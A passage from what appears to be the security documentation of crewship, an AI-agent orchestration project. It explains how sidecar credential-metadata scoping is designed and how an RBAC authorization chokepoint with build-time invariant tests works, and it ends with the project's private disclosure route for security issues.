  • The credential-metadata listing’s crew scope binds to the crew, so a crew-less run’s sidecar (which is issued a workspace-bound token, orchestrator.sidecarIPCToken with crewID == "") still receives every credential’s metadata in its own workspace. That is the token’s true scope, injected server-side — not an omission the caller chose, and not a scope it can escape: minting a workspace-bound token or rewriting a crew-bound one requires the master secret, which never enters a container. The listing is metadata only (include_values is separately loopback-gated), and it is deliberately not narrowed to an empty response for such a caller: the sidecar’s credential reaper reconciles its in-memory CredStore against this listing, so an empty 200 would evict every provider key the container booted with. Pinned as a sentinel test in internal/api/internal_credentials_crew_token_closure_sec_test.go.

Hardening surface — what’s locked vs. what’s tracked

Layer 6 — Authorization chokepoint (complete mediation)

Above the tenant-isolation checks, every workspace-scoped mutation endpoint (POST/PUT/PATCH/DELETE) declares the role it requires at route registration and a single middleware enforces that declaration before the handler runs. Previously authorization was a hand-placed requireRole / canRole call inside each handler, so one forgotten call left a state-changing endpoint silently open to any workspace member (it fails open — the mutation just succeeds). That is precisely how a control-plane route shipped ungated more than once. The fix follows Saltzer & Schroeder complete mediation: authedMut(method, pattern, role, handler) (internal/api/rbac_routes.go) records {method, pattern, role} into a walkable table and mounts the route behind RequireAuth → RequireWorkspace → requireRoleMW(role). Two build-time tests (internal/api/route_authz_invariant_test.go) turn the invariant into a compile-gate: one walks the recorded table and fails if any mutation route lacks a declared role; the other fails if a mutation route is still registered through the legacy authed(...) chain. A new mutation route that forgets its role declaration fails the build rather than shipping open. Out of scope for this layer, because each is a distinct trust boundary uniformly mediated by its own single wrapper: the X-Internal-Token sidecar surface (internalAuth) and the public token/HMAC dispatch routes (pipeline webhooks, waitpoint callbacks, bootstrap/signup). See RBAC for the role tiers and the declared-role classes.

Reporting issues

Security issues go to github.com/crewship-ai/crewship/security/advisories/new (private disclosure). For ambiguous reports, the regular issue tracker with the security label is also fine — the maintainer triages both.